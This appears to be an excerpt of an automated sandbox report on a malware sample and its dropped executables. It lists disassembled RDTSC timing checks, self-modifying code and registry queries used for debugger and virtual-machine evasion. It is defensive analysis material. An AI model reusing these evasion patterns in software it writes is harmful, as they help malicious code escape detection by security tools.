Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51801FD second address: 5180252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FAD607DA414h 0x0000000c or ecx, 64C19568h 0x00000012 jmp 00007FAD607DA40Bh 0x00000017 popfd 0x00000018 popad 0x00000019 sub edi, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, cx 0x00000021 pushfd 0x00000022 jmp 00007FAD607DA40Ch 0x00000027 and si, E7C8h 0x0000002c jmp 00007FAD607DA40Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180252 second address: 518028E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D7Fh 0x00000008 jmp 00007FAD60CE3D88h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAD60CE3D7Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518028E second address: 5180292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180292 second address: 5180298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180298 second address: 51802C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e mov edi, eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 je 00007FAD607DA599h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAD607DA412h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518039A second address: 518039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518039E second address: 51803A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803A2 second address: 51803A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803A8 second address: 51803B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD607DA40Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803B7 second address: 51803BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803BB second address: 51803CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FAD607DA481h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803CF second address: 51803D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51803D5 second address: 5180409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c pushad 0x0000000d mov dx, si 0x00000010 mov bx, ax 0x00000013 popad 0x00000014 jne 00007FADD10F84A4h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180409 second address: 518040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518040D second address: 5180411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180411 second address: 5180417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180417 second address: 518044D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD607DA414h 0x00000009 or ecx, 1ABE6F78h 0x0000000f jmp 00007FAD607DA40Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebx, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518044D second address: 5180451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180451 second address: 5180455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180455 second address: 518045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 518045B second address: 5180460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180460 second address: 5180482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, ax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-2Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAD60CE3D83h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180482 second address: 51804AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD607DA40Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804AF second address: 51804E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov edx, 352F4DE0h 0x00000011 mov di, 680Ch 0x00000015 popad 0x00000016 mov dl, F8h 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a jmp 00007FAD60CE3D7Ch 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804E7 second address: 51804ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804ED second address: 51804F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804F2 second address: 51804F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804F8 second address: 51804FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51804FC second address: 518056A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov esi, edi 0x0000000f mov esi, ebx 0x00000011 popad 0x00000012 nop 0x00000013 jmp 00007FAD607DA40Fh 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov edi, 78D549A6h 0x00000021 pushfd 0x00000022 jmp 00007FAD607DA417h 0x00000027 or cx, 2C2Eh 0x0000002c jmp 00007FAD607DA419h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51805D1 second address: 51805D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51805D7 second address: 51805DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51805DB second address: 5170D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007FAD60CE3D86h 0x00000012 je 00007FADD1601DC7h 0x00000018 xor eax, eax 0x0000001a jmp 00007FAD60CBD4AAh 0x0000001f pop esi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 leave 0x00000023 retn 0004h 0x00000026 nop 0x00000027 xor ebx, ebx 0x00000029 cmp eax, 00000000h 0x0000002c je 00007FAD60CE3ED3h 0x00000032 call 00007FAD65BF1F09h 0x00000037 mov edi, edi 0x00000039 jmp 00007FAD60CE3D87h 0x0000003e xchg eax, ebp 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007FAD60CE3D84h 0x00000046 sbb si, 99F8h 0x0000004b jmp 00007FAD60CE3D7Bh 0x00000050 popfd 0x00000051 mov ax, 632Fh 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FAD60CE3D80h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170D65 second address: 5170D88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FAD607DA40Bh 0x00000012 mov si, 6FFFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170D88 second address: 5170DDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ax, 0493h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 call 00007FAD60CE3D84h 0x00000015 push ecx 0x00000016 pop edi 0x00000017 pop eax 0x00000018 mov cl, dl 0x0000001a popad 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FAD60CE3D84h 0x00000023 or ecx, 67D62378h 0x00000029 jmp 00007FAD60CE3D7Bh 0x0000002e popfd 0x0000002f push eax 0x00000030 push edx 0x00000031 push ecx 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170DDF second address: 5170E26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA412h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007FAD607DA40Bh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007FAD607DA416h 0x00000016 mov dword ptr [ebp-04h], 55534552h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170E26 second address: 5170E43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170E43 second address: 5170E49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5170E49 second address: 5170E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 51809E6 second address: 5180A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushfd 0x00000007 jmp 00007FAD607DA419h 0x0000000c or eax, 64DB75A6h 0x00000012 jmp 00007FAD607DA411h 0x00000017 popfd 0x00000018 call 00007FAD607DA410h 0x0000001d pop eax 0x0000001e popad 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov edx, eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180A39 second address: 5180A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180A3E second address: 5180A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 jmp 00007FAD607DA417h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAD607DA40Bh 0x00000017 or ax, 62EEh 0x0000001c jmp 00007FAD607DA419h 0x00000021 popfd 0x00000022 popad 0x00000023 cmp dword ptr [75AF459Ch], 05h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bx, F04Eh 0x00000031 push edx 0x00000032 pop esi 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180B6C second address: 5180B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FAD60CE3D86h 0x0000000a xor cx, E178h 0x0000000f jmp 00007FAD60CE3D7Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180B99 second address: 5180BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 70B22719h 0x0000000e jmp 00007FAD607DA417h 0x00000013 xor dword ptr [esp], 051CBB31h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAD607DA410h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180BED second address: 5180BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180BF3 second address: 5180C3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD607DA40Ch 0x00000009 jmp 00007FAD607DA415h 0x0000000e popfd 0x0000000f mov di, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 call 00007FADD10EF359h 0x0000001a push 75A92B70h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [75AF4538h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FAD607DA419h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5180C89 second address: 5180D86 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAD60CE3D87h 0x00000008 and ch, 0000002Eh 0x0000000b jmp 00007FAD60CE3D89h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007FAD60CE3D80h 0x00000019 sbb cl, FFFFFFA8h 0x0000001c jmp 00007FAD60CE3D7Bh 0x00000021 popfd 0x00000022 popad 0x00000023 test al, al 0x00000025 jmp 00007FAD60CE3D86h 0x0000002a je 00007FADD15E7A00h 0x00000030 pushad 0x00000031 push eax 0x00000032 mov ch, dl 0x00000034 pop ecx 0x00000035 pushfd 0x00000036 jmp 00007FAD60CE3D7Fh 0x0000003b sub ecx, 1386464Eh 0x00000041 jmp 00007FAD60CE3D89h 0x00000046 popfd 0x00000047 popad 0x00000048 cmp dword ptr [ebp+08h], 00002000h 0x0000004f pushad 0x00000050 pushfd 0x00000051 jmp 00007FAD60CE3D7Ch 0x00000056 and eax, 5089D2C8h 0x0000005c jmp 00007FAD60CE3D7Bh 0x00000061 popfd 0x00000062 push eax 0x00000063 push edx 0x00000064 pushfd 0x00000065 jmp 00007FAD60CE3D86h 0x0000006a add ah, 00000028h 0x0000006d jmp 00007FAD60CE3D7Bh 0x00000072 popfd 0x00000073 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190B56 second address: 5190B6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD607DA414h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190B6E second address: 5190BD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAD60CE3D89h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FAD60CE3D7Eh 0x00000017 mov ebp, esp 0x00000019 jmp 00007FAD60CE3D80h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FAD60CE3D87h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190BD4 second address: 5190BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD607DA414h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190BEC second address: 5190C73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAD60CE3D7Ch 0x00000010 add eax, 22751658h 0x00000016 jmp 00007FAD60CE3D7Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FAD60CE3D88h 0x00000022 and cx, A0B8h 0x00000027 jmp 00007FAD60CE3D7Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f pushad 0x00000030 mov cx, DD0Bh 0x00000034 pushfd 0x00000035 jmp 00007FAD60CE3D80h 0x0000003a adc ax, DB18h 0x0000003f jmp 00007FAD60CE3D7Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov esi, dword ptr [ebp+0Ch] 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push edi 0x0000004d pop ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190C73 second address: 5190C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190C78 second address: 5190C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 620DCB90h 0x00000013 mov ax, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190C94 second address: 5190C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190C9A second address: 5190CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FADD15E1481h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov edx, ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190DC9 second address: 5190DF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD607DA40Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190DF5 second address: 5190E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD60CE3D81h 0x00000009 xor eax, 67976276h 0x0000000f jmp 00007FAD60CE3D81h 0x00000014 popfd 0x00000015 mov eax, 05590567h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FAD60CE3D89h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190E46 second address: 5190E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190E4C second address: 5190E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 5190E72 second address: 5190EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FAD607DA414h 0x00000011 xor ecx, 62A76B88h 0x00000017 jmp 00007FAD607DA40Bh 0x0000001c popfd 0x0000001d mov dx, si 0x00000020 popad 0x00000021 pop ebp 0x00000022 pushad 0x00000023 mov ax, C7F7h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a pop edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	RDTSC instruction interceptor: First address: 80DD1F second address: 80DD60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAD60CE3D87h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007FAD60CE3DAEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAD60CE3D89h 0x0000001b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Special instruction interceptor: First address: 43AFF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Special instruction interceptor: First address: 2877E8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Special instruction interceptor: First address: 4B6A2C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Special instruction interceptor: First address: 80DD84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Special instruction interceptor: First address: 9B40CE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Special instruction interceptor: First address: 9B2AC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Special instruction interceptor: First address: 80DC86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Special instruction interceptor: First address: A52890 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Special instruction interceptor: First address: 466F15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Special instruction interceptor: First address: 2CFBF6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Special instruction interceptor: First address: 47245B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Special instruction interceptor: First address: 5016E9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Memory allocated: 5080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Memory allocated: 5350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Memory allocated: 7350000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
